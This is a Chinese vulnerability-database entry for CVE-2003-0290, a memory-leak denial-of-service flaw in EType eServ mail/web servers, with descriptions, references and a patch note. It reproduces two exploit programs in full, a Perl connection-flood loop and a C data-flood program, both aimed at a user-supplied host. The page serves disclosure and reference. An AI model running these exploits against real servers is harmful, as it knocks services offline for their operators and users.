CVE-2003-0290
CVSS5.0
发布时间 :2003-06-16 00:00:00
修订时间 :2016-10-17 22:31:52
NMCOE    

[原文]Memory leak in eServ 2.9x allows remote attackers to cause a denial of service (memory exhaustion) via a large number of connections, whose memory is not freed when the connection is terminated.


[CNNVD]EType EServ资源耗竭远程拒绝服务攻击漏洞(CNNVD-200306-090)

        
        Eserv是一款集成Mail、News、Web、FTP和代理服务器的系统。
        Eserv服务程序错误的处理打开的连接,远程攻击者可以利用这个漏洞对服务进行拒绝服务攻击。
        Eserv连接处理程序包含一个内存泄露问题,当接收到一个连接后,服务器会在堆中分配8到32K字节的内存,但当连接不再存在的情况下Eserv没有正确的释放连接所使用的内存,可导致内存泄露,攻击者提交超多的成功连接,使用的内存会过多,而使系统不稳定。如一般在1,000个连接之后,会泄露78MB到312MB的内存。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0290
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0290
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200306-090
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0064.html
(UNKNOWN)  VULNWATCH  20030511 eServ Memory Leak Enables Denial of Service Attacks
http://marc.info/?l=bugtraq&m=105284630228137&w=2
(UNKNOWN)  BUGTRAQ  20030511 eServ Memory Leak Enables Denial of Service Attacks
http://marc.info/?l=bugtraq&m=105284631428187&w=2
(UNKNOWN)  BUGTRAQ  20030513 eServ Memory Leak Solution
http://www.securityfocus.com/bid/7552
(UNKNOWN)  BID  7552
http://xforce.iss.net/xforce/xfdb/11973
(UNKNOWN)  XF  eserv-multiple-connections-dos(11973)

- 漏洞信息

EType EServ资源耗竭远程拒绝服务攻击漏洞
中危 设计错误
2003-06-16 00:00:00 2005-10-20 00:00:00
远程  
        
        Eserv是一款集成Mail、News、Web、FTP和代理服务器的系统。
        Eserv服务程序错误的处理打开的连接,远程攻击者可以利用这个漏洞对服务进行拒绝服务攻击。
        Eserv连接处理程序包含一个内存泄露问题,当接收到一个连接后,服务器会在堆中分配8到32K字节的内存,但当连接不再存在的情况下Eserv没有正确的释放连接所使用的内存,可导致内存泄露,攻击者提交超多的成功连接,使用的内存会过多,而使系统不稳定。如一般在1,000个连接之后,会泄露78MB到312MB的内存。
        

- 公告与补丁

        厂商补丁:
        Etype
        -----
        目前厂商已经发布了升级补丁以修复这个安全问题,建议用户到厂商的主页下载升级到Etype Eserv 3.0版本:
        
        http://www.eserv.ru/eserv/

- 漏洞信息 (22585)

EType EServ 2.98/2.99/3.0 Resource Exhaustion Denial Of Service Vulnerability (1) (EDBID:22585)
windows dos
2003-05-11 Verified
0 Matthew Murphy
N/A [点击下载]
source: http://www.securityfocus.com/bid/7552/info

A denial of service vulnerability has been reported for EServ. The vulnerability exists due to the way the server handles connections. Specifically, memory allocated for open connections are not properly freed when a connection no longer exists. This will result in a consumption of all available memory resources.

**It has been reported that EServ version 3.0 previously thought to be invulnerable to this issue is affected by this vulnerability. This version was tested on Windows 2000.

This vulnerability affects EServ 2.92 to 3.0. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
}
		

- 漏洞信息 (22586)

EType EServ 2.98/2.99/3.0 Resource Exhaustion Denial Of Service Vulnerability (2) (EDBID:22586)
windows dos
2003-05-11 Verified
0 rash
N/A [点击下载]
source: http://www.securityfocus.com/bid/7552/info
 
A denial of service vulnerability has been reported for EServ. The vulnerability exists due to the way the server handles connections. Specifically, memory allocated for open connections are not properly freed when a connection no longer exists. This will result in a consumption of all available memory resources.
 
**It has been reported that EServ version 3.0 previously thought to be invulnerable to this issue is affected by this vulnerability. This version was tested on Windows 2000.
 
This vulnerability affects EServ 2.92 to 3.0. 

/* m00-eServ-fun.c
 *
 *  EServ/2.95-3.00 remote memory-leak exploit
 *
 *  Result: exiting program and close all services
 *  if you seen message: Broken pipe
 *  then may going drink beer 8)
 *
 *  Eserv 3.0 only web(80) services susceptible on this DoS
 *
 *  rash / m00.void.ru
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{  
  char buf[2000];
  int fd;
  struct sockaddr_in rsin;

  if (argc!=3) {
   printf("\n usage: %s <ip> <port>\n\n", argv[0]);
   exit(0);  
  }
  
  rsin.sin_family = AF_INET;
  rsin.sin_port   = htons(atoi(argv[2]));
  rsin.sin_addr.s_addr = inet_addr(argv[1]);
 
  for (fd=0;fd<2000;fd++)
    buf[fd]=(int *)((rand()*10));
  
  fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);             
  if (connect(fd,(struct sockaddr *)&rsin,sizeof(struct sockaddr))) perror("[-] connect()"),exit(0);
  printf("[+] connected..\n"); 
  printf("[+] send data to host..\n"); 
  
  while (1) {
   if ((send(fd, buf, 2000, 0))<0)      
     break;  
  }   
}

		

- 漏洞信息

12080
Etype Eserv Non-terminated Connection Saturation Remote DoS
Remote / Network Access Denial of Service
Loss of Availability Solution Unknown

- 漏洞描述

- 时间线

2003-05-11 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站